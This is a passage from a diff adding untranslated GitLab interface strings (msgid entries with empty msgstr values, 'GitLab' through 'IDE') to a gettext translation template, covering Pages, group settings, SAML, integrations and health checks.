+msgstr ""
+
+msgid "GitLab is undergoing maintenance and is operating in a read-only mode."
+msgstr ""
+
+msgid "GitLab member or Email address"
+msgstr ""
+
+msgid "GitLab metadata URL"
+msgstr ""
+
+msgid "GitLab project export"
+msgstr ""
+
+msgid "GitLab restart is required to apply changes."
+msgstr ""
+
+msgid "GitLab single sign-on URL"
+msgstr ""
+
+msgid "GitLab username"
+msgstr ""
+
+msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
+msgstr ""
+
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
+msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
+msgstr ""
+
+msgid "GitLab.com"
+msgstr ""
+
+msgid "GitLab.com import"
+msgstr ""
+
+msgid "GitLabPagesDomains|Retry"
+msgstr ""
+
+msgid "GitLabPages|%{domain} is not verified. To learn how to verify ownership, visit your %{link_start}domain details%{link_end}."
+msgstr ""
+
+msgid "GitLabPages|Access Control is enabled for this Pages website; only authorized users will be able to access it. To make your website publicly available, navigate to your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} and select %{strong_start}Everyone%{strong_end} in pages section. Read the %{link_start}documentation%{link_end} for more information."
+msgstr ""
+
+msgid "GitLabPages|Access pages"
+msgstr ""
+
+msgid "GitLabPages|Are you sure?"
+msgstr ""
+
+msgid "GitLabPages|Certificate: %{subject}"
+msgstr ""
+
+msgid "GitLabPages|Configure pages"
+msgstr ""
+
+msgid "GitLabPages|Domains"
+msgstr ""
+
+msgid "GitLabPages|Edit"
+msgstr ""
+
+msgid "GitLabPages|Expired"
+msgstr ""
+
+msgid "GitLabPages|Force HTTPS (requires valid certificates)"
+msgstr ""
+
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
+msgstr ""
+
+msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
+msgstr ""
+
+msgid "GitLabPages|Learn more."
+msgstr ""
+
+msgid "GitLabPages|Maximum size of pages (MB)"
+msgstr ""
+
+msgid "GitLabPages|New Domain"
+msgstr ""
+
+msgid "GitLabPages|Only project maintainers can remove pages"
+msgstr ""
+
+msgid "GitLabPages|Pages"
+msgstr ""
+
+msgid "GitLabPages|Remove"
+msgstr ""
+
+msgid "GitLabPages|Remove pages"
+msgstr ""
+
+msgid "GitLabPages|Removing pages will prevent them from being exposed to the outside world."
+msgstr ""
+
+msgid "GitLabPages|Save"
+msgstr ""
+
+msgid "GitLabPages|See the %{docs_link_start}GitLab Pages documentation%{link_end} to learn how to upload your static site and have GitLab serve it. You can also follow a %{samples_link_start}sample project%{link_end} or use a %{templates_link_start}GitLab CI template%{link_end}."
+msgstr ""
+
+msgid "GitLabPages|Something went wrong while obtaining the Let's Encrypt certificate for %{domain}. To retry visit your %{link_start}domain details%{link_end}."
+msgstr ""
+
+msgid "GitLabPages|Support for domains and certificates is disabled. Ask your system's administrator to enable it."
+msgstr ""
+
+msgid "GitLabPages|The total size of deployed static content will be limited to this size. 0 for unlimited. Leave empty to inherit the global value."
+msgstr ""
+
+msgid "GitLabPages|Unverified"
+msgstr ""
+
+msgid "GitLabPages|Verified"
+msgstr ""
+
+msgid "GitLabPages|When using Pages under the general domain of a GitLab instance (%{pages_host}), you cannot use HTTPS with sub-subdomains. This means that if your username/groupname contains a dot it will not work. This is a limitation of the HTTP Over TLS protocol. HTTP pages will continue to work provided you don't redirect HTTP to HTTPS."
+msgstr ""
+
+msgid "GitLabPages|With GitLab Pages you can host your static websites on GitLab. Combined with the power of GitLab CI and the help of GitLab Runner you can deploy static pages for your individual projects, your user or your group."
+msgstr ""
+
+msgid "GitLabPages|Your pages are served under:"
+msgstr ""
+
+msgid "Gitaly"
+msgstr ""
+
+msgid "Gitaly Servers"
+msgstr ""
+
+msgid "Gitaly relative path:"
+msgstr ""
+
+msgid "Gitaly storage name:"
+msgstr ""
+
+msgid "Gitaly|Address"
+msgstr ""
+
+msgid "Gitea Host URL"
+msgstr ""
+
+msgid "Gitea Import"
+msgstr ""
+
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
+msgid "Gitlab Pages"
+msgstr ""
+
+msgid "Gitpod"
+msgstr ""
+
+msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
+msgstr ""
+
+msgid "Gitpod|Enable Gitpod integration"
+msgstr ""
+
+msgid "Gitpod|Gitpod URL"
+msgstr ""
+
+msgid "Gitpod|e.g. https://gitpod.example.com"
+msgstr ""
+
+msgid "Given access %{time_ago}"
+msgstr ""
+
+msgid "Given epic is already related to this epic."
+msgstr ""
+
+msgid "Global Shortcuts"
+msgstr ""
+
+msgid "Global notification settings"
+msgstr ""
+
+msgid "Go Back"
+msgstr ""
+
+msgid "Go Micro is a framework for micro service development"
+msgstr ""
+
+msgid "Go back"
+msgstr ""
+
+msgid "Go back (while searching for files)"
+msgstr ""
+
+msgid "Go full screen"
+msgstr ""
+
+msgid "Go to Integrations"
+msgstr ""
+
+msgid "Go to Webhooks"
+msgstr ""
+
+msgid "Go to commits"
+msgstr ""
+
+msgid "Go to definition"
+msgstr ""
+
+msgid "Go to environments"
+msgstr ""
+
+msgid "Go to epic"
+msgstr ""
+
+msgid "Go to file"
+msgstr ""
+
+msgid "Go to file permalink (while viewing a file)"
+msgstr ""
+
+msgid "Go to files"
+msgstr ""
+
+msgid "Go to find file"
+msgstr ""
+
+msgid "Go to fork"
+msgstr ""
+
+msgid "Go to issue boards"
+msgstr ""
+
+msgid "Go to issues"
+msgstr ""
+
+msgid "Go to jobs"
+msgstr ""
+
+msgid "Go to kubernetes"
+msgstr ""
+
+msgid "Go to merge requests"
+msgstr ""
+
+msgid "Go to metrics"
+msgstr ""
+
+msgid "Go to parent"
+msgstr ""
+
+msgid "Go to project"
+msgstr ""
+
+msgid "Go to releases"
+msgstr ""
+
+msgid "Go to repository charts"
+msgstr ""
+
+msgid "Go to repository graph"
+msgstr ""
+
+msgid "Go to snippets"
+msgstr ""
+
+msgid "Go to the activity feed"
+msgstr ""
+
+msgid "Go to the milestone list"
+msgstr ""
+
+msgid "Go to the project's activity feed"
+msgstr ""
+
+msgid "Go to the project's overview page"
+msgstr ""
+
+msgid "Go to wiki"
+msgstr ""
+
+msgid "Go to your To-Do list"
+msgstr ""
+
+msgid "Go to your fork"
+msgstr ""
+
+msgid "Go to your groups"
+msgstr ""
+
+msgid "Go to your issues"
+msgstr ""
+
+msgid "Go to your merge requests"
+msgstr ""
+
+msgid "Go to your projects"
+msgstr ""
+
+msgid "Go to your snippets"
+msgstr ""
+
+msgid "Goal of the changes and what reviewers should be aware of"
+msgstr ""
+
+msgid "Google Cloud Platform"
+msgstr ""
+
+msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
+msgstr ""
+
+msgid "Got it"
+msgstr ""
+
+msgid "Got it!"
+msgstr ""
+
+msgid "Grafana URL"
+msgstr ""
+
+msgid "Grafana response contains invalid json"
+msgstr ""
+
+msgid "GrafanaIntegration|API token"
+msgstr ""
+
+msgid "GrafanaIntegration|Active"
+msgstr ""
+
+msgid "GrafanaIntegration|Enter the Grafana API token."
+msgstr ""
+
+msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
+msgstr ""
+
+msgid "GrafanaIntegration|Grafana URL"
+msgstr ""
+
+msgid "GrafanaIntegration|Grafana authentication"
+msgstr ""
+
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
+msgid "Grant access"
+msgstr ""
+
+msgid "Grant write permissions to this key"
+msgstr ""
+
+msgid "Graph"
+msgstr ""
+
+msgid "Gravatar"
+msgstr ""
+
+msgid "Gravatar enabled"
+msgstr ""
+
+msgid "Group"
+msgstr ""
+
+msgid "Group %{group_name} couldn't be exported."
+msgstr ""
+
+msgid "Group %{group_name} was exported successfully."
+msgstr ""
+
+msgid "Group %{group_name} was scheduled for deletion."
+msgstr ""
+
+msgid "Group %{group_name} was successfully created."
+msgstr ""
+
+msgid "Group Audit Events"
+msgstr ""
+
+msgid "Group Git LFS status:"
+msgstr ""
+
+msgid "Group Hooks"
+msgstr ""
+
+msgid "Group ID"
+msgstr ""
+
+msgid "Group ID: %{group_id}"
+msgstr ""
+
+msgid "Group Owner must have signed in with SAML before enabling Group Managed Accounts"
+msgstr ""
+
+msgid "Group SAML must be enabled to test"
+msgstr ""
+
+msgid "Group URL"
+msgstr ""
+
+msgid "Group Wikis"
+msgstr ""
+
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
+msgid "Group avatar"
+msgstr ""
+
+msgid "Group by"
+msgstr ""
+
+msgid "Group description (optional)"
+msgstr ""
+
+msgid "Group details"
+msgstr ""
+
+msgid "Group export could not be started."
+msgstr ""
+
+msgid "Group export error"
+msgstr ""
+
+msgid "Group export link has expired. Please generate a new export from your group settings."
+msgstr ""
+
+msgid "Group export started. A download link will be sent by email and made available on this page."
+msgstr ""
+
+msgid "Group has been already marked for deletion"
+msgstr ""
+
+msgid "Group has not been marked for deletion"
+msgstr ""
+
+msgid "Group import could not be scheduled"
+msgstr ""
+
+msgid "Group info:"
+msgstr ""
+
+msgid "Group is required when cluster_type is :group"
+msgstr ""
+
+msgid "Group maintainers can register group runners in the %{link}"
+msgstr ""
+
+msgid "Group members"
+msgstr ""
+
+msgid "Group membership expiration date changed"
+msgstr ""
+
+msgid "Group membership expiration date removed"
+msgstr ""
+
+msgid "Group milestone"
+msgstr ""
+
+msgid "Group name"
+msgstr ""
+
+msgid "Group name (your organization)"
+msgstr ""
+
+msgid "Group navigation"
+msgstr ""
+
+msgid "Group overview"
+msgstr ""
+
+msgid "Group overview content"
+msgstr ""
+
+msgid "Group path is already taken. Suggestions: "
+msgstr ""
+
+msgid "Group path is available."
+msgstr ""
+
+msgid "Group pipeline minutes were successfully reset."
+msgstr ""
+
+msgid "Group project URLs are prefixed with the group namespace"
+msgstr ""
+
+msgid "Group requires separate account"
+msgstr ""
+
+msgid "Group runners"
+msgstr ""
+
+msgid "Group runners can be managed with the %{link}."
+msgstr ""
+
+msgid "Group variables (inherited)"
+msgstr ""
+
+msgid "Group was exported"
+msgstr ""
+
+msgid "Group was successfully updated."
+msgstr ""
+
+msgid "Group-level events in %{group_name} (no project-level events)"
+msgstr ""
+
+msgid "Group: %{group_name}"
+msgstr ""
+
+msgid "Group: %{name}"
+msgstr ""
+
+msgid "GroupActivityMetrics|Issues opened"
+msgstr ""
+
+msgid "GroupActivityMetrics|Members added"
+msgstr ""
+
+msgid "GroupActivityMetrics|Merge Requests opened"
+msgstr ""
+
+msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgstr ""
+
+msgid "GroupImport|Failed to import group."
+msgstr ""
+
+msgid "GroupImport|Group '%{group_name}' is being imported."
+msgstr ""
+
+msgid "GroupImport|Group could not be imported: %{errors}"
+msgstr ""
+
+msgid "GroupImport|Please wait while we import the group for you. Refresh at will."
+msgstr ""
+
+msgid "GroupImport|The group was successfully imported."
+msgstr ""
+
+msgid "GroupImport|Unable to process group import file"
+msgstr ""
+
+msgid "GroupRoadmap|%{dateWord} – No end date"
+msgstr ""
+
+msgid "GroupRoadmap|%{startDateInWords} – %{endDateInWords}"
+msgstr ""
+
+msgid "GroupRoadmap|No start and end date"
+msgstr ""
+
+msgid "GroupRoadmap|No start date – %{dateWord}"
+msgstr ""
+
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
+msgid "GroupRoadmap|Something went wrong while fetching epics"
+msgstr ""
+
+msgid "GroupRoadmap|Something went wrong while fetching milestones"
+msgstr ""
+
+msgid "GroupRoadmap|Sorry, no epics matched your search"
+msgstr ""
+
+msgid "GroupRoadmap|The roadmap shows the progress of your epics along a timeline"
+msgstr ""
+
+msgid "GroupRoadmap|To view the roadmap, add a start or due date to one of the %{linkStart}child epics%{linkEnd}."
+msgstr ""
+
+msgid "GroupRoadmap|To view the roadmap, add a start or due date to one of your epics in this group or its subgroups; from %{startDate} to %{endDate}."
+msgstr ""
+
+msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
+msgstr ""
+
+msgid "GroupSAML|Active SAML Group Links (%{count})"
+msgstr ""
+
+msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
+msgstr ""
+
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
+msgid "GroupSAML|Certificate fingerprint"
+msgstr ""
+
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
+msgid "GroupSAML|Configuration"
+msgstr ""
+
+msgid "GroupSAML|Copy SAML Response XML"
+msgstr ""
+
+msgid "GroupSAML|Could not create SAML group link: %{errors}."
+msgstr ""
+
+msgid "GroupSAML|Default membership role"
+msgstr ""
+
+msgid "GroupSAML|Enable SAML authentication for this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
+msgstr ""
+
+msgid "GroupSAML|Enforced SSO"
+msgstr ""
+
+msgid "GroupSAML|Generate a SCIM token"
+msgstr ""
+
+msgid "GroupSAML|Generate a SCIM token to set up your System for Cross-Domain Identity Management."
+msgstr ""
+
+msgid "GroupSAML|Identity"
+msgstr ""
+
+msgid "GroupSAML|Identity provider single sign-on URL"
+msgstr ""
+
+msgid "GroupSAML|Make sure you save this token — you won't be able to access it again."
+msgstr ""
+
+msgid "GroupSAML|Manage your group’s membership while adding another level of security with SAML."
+msgstr ""
+
+msgid "GroupSAML|Members"
+msgstr ""
+
+msgid "GroupSAML|Members will be forwarded here when signing in to your group. Get this from your identity provider, where it can also be called \"SSO Service Location\", \"SAML Token Issuance Endpoint\", or \"SAML 2.0/W-Federation URL\"."
+msgstr ""
+
+msgid "GroupSAML|NameID"
+msgstr ""
+
+msgid "GroupSAML|NameID Format"
+msgstr ""
+
+msgid "GroupSAML|New SAML group link saved."
+msgstr ""
+
+msgid "GroupSAML|No active SAML group links"
+msgstr ""
+
+msgid "GroupSAML|Prohibit outer forks"
+msgstr ""
+
+msgid "GroupSAML|Prohibit outer forks for this group."
+msgstr ""
+
+msgid "GroupSAML|Role to assign members of this SAML group."
+msgstr ""
+
+msgid "GroupSAML|SAML Group Links"
+msgstr ""
+
+msgid "GroupSAML|SAML Group Name"
+msgstr ""
+
+msgid "GroupSAML|SAML Group Name: %{saml_group_name}"
+msgstr ""
+
+msgid "GroupSAML|SAML Response Output"
+msgstr ""
+
+msgid "GroupSAML|SAML Response XML"
+msgstr ""
+
+msgid "GroupSAML|SAML Single Sign On"
+msgstr ""
+
+msgid "GroupSAML|SAML Single Sign On Settings"
+msgstr ""
+
+msgid "GroupSAML|SAML group link was successfully removed."
+msgstr ""
+
+msgid "GroupSAML|SCIM API endpoint URL"
+msgstr ""
+
+msgid "GroupSAML|SCIM Token"
+msgstr ""
+
+msgid "GroupSAML|SHA1 fingerprint of the SAML token signing certificate. Get this from your identity provider, where it can also be called \"Thumbprint\"."
+msgstr ""
+
+msgid "GroupSAML|The SCIM token is now hidden. To see the value of the token again, you need to "
+msgstr ""
+
+msgid "GroupSAML|The case-sensitive group name that will be sent by the SAML identity provider."
+msgstr ""
+
+msgid "GroupSAML|This will be set as the access level of users added to the group."
+msgstr ""
+
+msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
+msgstr ""
+
+msgid "GroupSAML|To be able to prohibit outer forks, you first need to enforce dedicate group managed accounts."
+msgstr ""
+
+msgid "GroupSAML|Toggle SAML authentication"
+msgstr ""
+
+msgid "GroupSAML|Valid SAML Response"
+msgstr ""
+
+msgid "GroupSAML|With prohibit outer forks flag enabled group members will be able to fork project only inside your group."
+msgstr ""
+
+msgid "GroupSAML|Your SCIM token"
+msgstr ""
+
+msgid "GroupSAML|as %{access_level}"
+msgstr ""
+
+msgid "GroupSAML|must match stored NameID of \"%{extern_uid}\" as we use this to identify users. If the NameID changes users will be unable to sign in."
+msgstr ""
+
+msgid "GroupSAML|should be \"persistent\""
+msgstr ""
+
+msgid "GroupSAML|should be a random persistent ID, emails are discouraged"
+msgstr ""
+
+msgid "GroupSelect|No matching results"
+msgstr ""
+
+msgid "GroupSelect|Search groups"
+msgstr ""
+
+msgid "GroupSelect|Select a group"
+msgstr ""
+
+msgid "GroupSettings|Apply integration settings to all Projects"
+msgstr ""
+
+msgid "GroupSettings|Auto DevOps pipeline was updated for the group"
+msgstr ""
+
+msgid "GroupSettings|Badges"
+msgstr ""
+
+msgid "GroupSettings|Be careful. Changing a group's parent can have unintended %{side_effects_link_start}side effects%{side_effects_link_end}."
+msgstr ""
+
+msgid "GroupSettings|Cannot update the path because there are projects under this group that contain Docker images in their Container Registry. Please remove the images from your projects first and try again."
+msgstr ""
+
+msgid "GroupSettings|Change group URL"
+msgstr ""
+
+msgid "GroupSettings|Changing group URL can have unintended side effects."
+msgstr ""
+
+msgid "GroupSettings|Compliance frameworks"
+msgstr ""
+
+msgid "GroupSettings|Configure frameworks to apply enforceable rules to projects."
+msgstr ""
+
+msgid "GroupSettings|Custom project templates"
+msgstr ""
+
+msgid "GroupSettings|Customize this group's badges."
+msgstr ""
+
+msgid "GroupSettings|Default to Auto DevOps pipeline for all projects within this group"
+msgstr ""
+
+msgid "GroupSettings|Disable email notifications"
+msgstr ""
+
+msgid "GroupSettings|Disable group mentions"
+msgstr ""
+
+msgid "GroupSettings|Enable delayed project removal"
+msgstr ""
+
+msgid "GroupSettings|Export group"
+msgstr ""
+
+msgid "GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility."
+msgstr ""
+
+msgid "GroupSettings|Integrations configured here will automatically apply to all projects in this group."
+msgstr ""
+
+msgid "GroupSettings|Learn more about group-level project templates."
+msgstr ""
+
+msgid "GroupSettings|New runners registration token has been generated!"
+msgstr ""
+
+msgid "GroupSettings|Pipeline settings was updated for the group"
+msgstr ""
+
+msgid "GroupSettings|Please choose a group URL with no special characters."
+msgstr ""
+
+msgid "GroupSettings|Prevent forking outside of the group"
+msgstr ""
+
+msgid "GroupSettings|Prevent forking setting was not saved"
+msgstr ""
+
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgstr ""
+
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
+msgstr ""
+
+msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
+msgstr ""
+
+msgid "GroupSettings|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
+
+msgid "GroupSettings|There was a problem updating Auto DevOps pipeline: %{error_messages}."
+msgstr ""
+
+msgid "GroupSettings|There was a problem updating the pipeline settings: %{error_messages}."
+msgstr ""
+
+msgid "GroupSettings|This setting is applied on %{ancestor_group} and has been overridden on this subgroup."
+msgstr ""
+
+msgid "GroupSettings|This setting is applied on %{ancestor_group}. To share projects in this group with another group, ask the owner to override the setting or %{remove_ancestor_share_with_group_lock}."
+msgstr ""
+
+msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
+msgstr ""
+
+msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
+msgstr ""
+
+msgid "GroupSettings|This setting will override user notification preferences for all members of the group, subgroups, and projects."
+msgstr ""
+
+msgid "GroupSettings|This setting will prevent group members from being notified if the group is mentioned."
+msgstr ""
+
+msgid "GroupSettings|This setting will prevent group members from forking projects outside of the group."
+msgstr ""
+
+msgid "GroupSettings|Transfer group"
+msgstr ""
+
+msgid "GroupSettings|What are badges?"
+msgstr ""
+
+msgid "GroupSettings|You can only transfer the group to a group you manage."
+msgstr ""
+
+msgid "GroupSettings|You will need to update your local repositories to point to the new location."
+msgstr ""
+
+msgid "GroupSettings|cannot be changed by you"
+msgstr ""
+
+msgid "GroupSettings|cannot be disabled when the parent group \"Share with group lock\" is enabled, except by the owner of the parent group"
+msgstr ""
+
+msgid "GroupSettings|cannot change when group contains projects with NPM packages"
+msgstr ""
+
+msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
+msgstr ""
+
+msgid "Groups"
+msgstr ""
+
+msgid "Groups (%{count})"
+msgstr ""
+
+msgid "Groups (%{groups})"
+msgstr ""
+
+msgid "Groups and projects"
+msgstr ""
+
+msgid "Groups and subgroups"
+msgstr ""
+
+msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
+msgstr ""
+
+msgid "Groups to synchronize"
+msgstr ""
+
+msgid "GroupsDropdown|Frequently visited"
+msgstr ""
+
+msgid "GroupsDropdown|Groups you visit often will appear here"
+msgstr ""
+
+msgid "GroupsDropdown|Loading groups"
+msgstr ""
+
+msgid "GroupsDropdown|Search your groups"
+msgstr ""
+
+msgid "GroupsDropdown|Something went wrong on our end."
+msgstr ""
+
+msgid "GroupsDropdown|Sorry, no groups matched your search"
+msgstr ""
+
+msgid "GroupsDropdown|This feature requires browser localStorage support"
+msgstr ""
+
+msgid "GroupsEmptyState|A group is a collection of several projects."
+msgstr ""
+
+msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
+msgstr ""
+
+msgid "GroupsEmptyState|No groups found"
+msgstr ""
+
+msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
+msgstr ""
+
+msgid "GroupsNew|Connect instance"
+msgstr ""
+
+msgid "GroupsNew|Contact an administrator to enable options for importing your group."
+msgstr ""
+
+msgid "GroupsNew|Create"
+msgstr ""
+
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|GitLab source URL"
+msgstr ""
+
+msgid "GroupsNew|Import"
+msgstr ""
+
+msgid "GroupsNew|Import group"
+msgstr ""
+
+msgid "GroupsNew|Import groups from another instance of GitLab"
+msgstr ""
+
+msgid "GroupsNew|My Awesome Group"
+msgstr ""
+
+msgid "GroupsNew|Navigate to user settings to find your %{link_start}personal access token%{link_end}."
+msgstr ""
+
+msgid "GroupsNew|No import options available"
+msgstr ""
+
+msgid "GroupsNew|Not all related objects are migrated, as %{docs_link_start}described here%{docs_link_end}. Please %{feedback_link_start}leave feedback%{feedback_link_end} on this feature."
+msgstr ""
+
+msgid "GroupsNew|Personal access token"
+msgstr ""
+
+msgid "GroupsNew|Please fill in GitLab source URL."
+msgstr ""
+
+msgid "GroupsNew|Please fill in your personal access token."
+msgstr ""
+
+msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
+msgstr ""
+
+msgid "GroupsNew|To import a group, navigate to the group settings for the GitLab source instance, %{link_start}generate an export file%{link_end}, and upload it here."
+msgstr ""
+
+msgid "GroupsNew|Upload file"
+msgstr ""
+
+msgid "GroupsNew|e.g. h8d3f016698e..."
+msgstr ""
+
+msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
+msgstr ""
+
+msgid "GroupsTree|Edit group"
+msgstr ""
+
+msgid "GroupsTree|Failed to leave the group. Please make sure you are not the only owner."
+msgstr ""
+
+msgid "GroupsTree|Leave this group"
+msgstr ""
+
+msgid "GroupsTree|Loading groups"
+msgstr ""
+
+msgid "GroupsTree|No groups matched your search"
+msgstr ""
+
+msgid "GroupsTree|No groups or projects matched your search"
+msgstr ""
+
+msgid "GroupsTree|Search by name"
+msgstr ""
+
+msgid "Guideline"
+msgstr ""
+
+msgid "HAR (HTTP Archive)"
+msgstr ""
+
+msgid "HAR file path"
+msgstr ""
+
+msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
+msgstr ""
+
+msgid "Hashed Storage must be enabled to use Geo"
+msgstr ""
+
+msgid "Hashed repository storage paths"
+msgstr ""
+
+msgid "Hashed storage can't be disabled anymore for new projects"
+msgstr ""
+
+msgid "Header logo was successfully removed."
+msgstr ""
+
+msgid "Header message"
+msgstr ""
+
+msgid "Headings"
+msgstr ""
+
+msgid "Health"
+msgstr ""
+
+msgid "Health Check"
+msgstr ""
+
+msgid "Health information can be retrieved from the following endpoints. More information is available"
+msgstr ""
+
+msgid "Health status"
+msgstr ""
+
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
+msgid "HealthCheck|Access token is"
+msgstr ""
+
+msgid "HealthCheck|Healthy"
+msgstr ""
+
+msgid "HealthCheck|No Health Problems Detected"
+msgstr ""
+
+msgid "HealthCheck|Unhealthy"
+msgstr ""
+
+msgid "Hello %{name},"
+msgstr ""
+
+msgid "Hello there"
+msgstr ""
+
+msgid "Hello, %{username}!"
+msgstr ""
+
+msgid "Help"
+msgstr ""
+
+msgid "Help page"
+msgstr ""
+
+msgid "Help page text and support page url."
+msgstr ""
+
+msgid "Helps prevent bots from brute-force attacks."
+msgstr ""
+
+msgid "Helps prevent bots from creating accounts."
+msgstr ""
+
+msgid "Helps reduce alert volume (e.g. if creating too many issues)"
+msgstr ""
+
+msgid "Helps reduce request volume for protected paths"
+msgstr ""
+
+msgid "Here you will find recent merge request activity"
+msgstr ""
+
+msgid "Hi %{username}!"
+msgstr ""
+
+msgid "Hide"
+msgstr ""
+
+msgid "Hide archived projects"
+msgstr ""
+
+msgid "Hide chart"
+msgid_plural "Hide charts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Hide comments on this file"
+msgstr ""
+
+msgid "Hide details"
+msgstr ""
+
+msgid "Hide file browser"
+msgstr ""
+
+msgid "Hide group projects"
+msgstr ""
+
+msgid "Hide host keys manual input"
+msgstr ""
+
+msgid "Hide list"
+msgstr ""
+
+msgid "Hide marketing-related entries from help"
+msgstr ""
+
+msgid "Hide payload"
+msgstr ""
+
+msgid "Hide shared projects"
+msgstr ""
+
+msgid "Hide stage"
+msgstr ""
+
+msgid "Hide value"
+msgid_plural "Hide values"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Hide values"
+msgstr ""
+
+msgid "High or unknown vulnerabilities present"
+msgstr ""
+
+msgid "Highest number of requests per minute for each raw path, default to 300. To disable throttling set to 0."
+msgstr ""
+
+msgid "Highest role:"
+msgstr ""
+
+msgid "HighlightBar|Alert events:"
+msgstr ""
+
+msgid "HighlightBar|Alert start time:"
+msgstr ""
+
+msgid "HighlightBar|Original alert:"
+msgstr ""
+
+msgid "HighlightBar|Time to SLA:"
+msgstr ""
+
+msgid "History"
+msgstr ""
+
+msgid "History of authentications"
+msgstr ""
+
+msgid "Homepage"
+msgstr ""
+
+msgid "Hook execution failed. Ensure the group has a project with commits."
+msgstr ""
+
+msgid "Hook was successfully created."
+msgstr ""
+
+msgid "Hook was successfully updated."
+msgstr ""
+
+msgid "Hostname"
+msgstr ""
+
+msgid "Hour (UTC)"
+msgstr ""
+
+msgid "Housekeeping"
+msgstr ""
+
+msgid "Housekeeping successfully started"
+msgstr ""
+
+msgid "Housekeeping, export, path, transfer, remove, archive."
+msgstr ""
+
+msgid "How do I configure runners?"
+msgstr ""
+
+msgid "How do I configure this integration?"
+msgstr ""
+
+msgid "How do I generate it?"
+msgstr ""
+
+msgid "How do I mirror repositories?"
+msgstr ""
+
+msgid "How does cleanup work?"
+msgstr ""
+
+msgid "How it works"
+msgstr ""
+
+msgid "How many days need to pass between marking entity for deletion and actual removing it."
+msgstr ""
+
+msgid "How many replicas each Elasticsearch shard has."
+msgstr ""
+
+msgid "How many shards to split the Elasticsearch index over."
+msgstr ""
+
+msgid "How many users will be evaluating the trial?"
+msgstr ""
+
+msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
+msgstr ""
+
+msgid "I accept the %{terms_link}"
+msgstr ""
+
+msgid "I accept the|Terms of Service and Privacy Policy"
+msgstr ""
+
+msgid "I forgot my password"
+msgstr ""
+
+msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
+msgstr ""
+
+msgid "I'd like to receive updates about GitLab via email"
+msgstr ""
+
+msgid "ID"
+msgstr ""
+
+msgid "ID:"
+msgstr ""
+
+msgid "IDE"
+msgstr ""
+
+msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
+msgstr ""
+
+msgid "IDE|Back"
+msgstr ""
+
+msgid "IDE|Commit"
+msgstr ""
+
+msgid "IDE|Commit to %{branchName} branch"
+msgstr ""
+
+msgid "IDE|Edit"
+msgstr ""
+
+msgid "IDE|Get started with Live Preview"
+msgstr ""
+
+msgid "IDE|Go to project"
+msgstr ""
+
+msgid "IDE|Live Preview"
+msgstr ""
+
+msgid "IDE|Preview your web application using Web IDE client-side evaluation."
+msgstr ""
+
+msgid "IDE|Refresh preview"
+msgstr ""
+
+msgid "IDE|Review"
+msgstr ""
+
+msgid "IDE|Successful commit"
+msgstr ""
+
+msgid "IDE|This option is disabled because you are not allowed to create merge requests in this project."
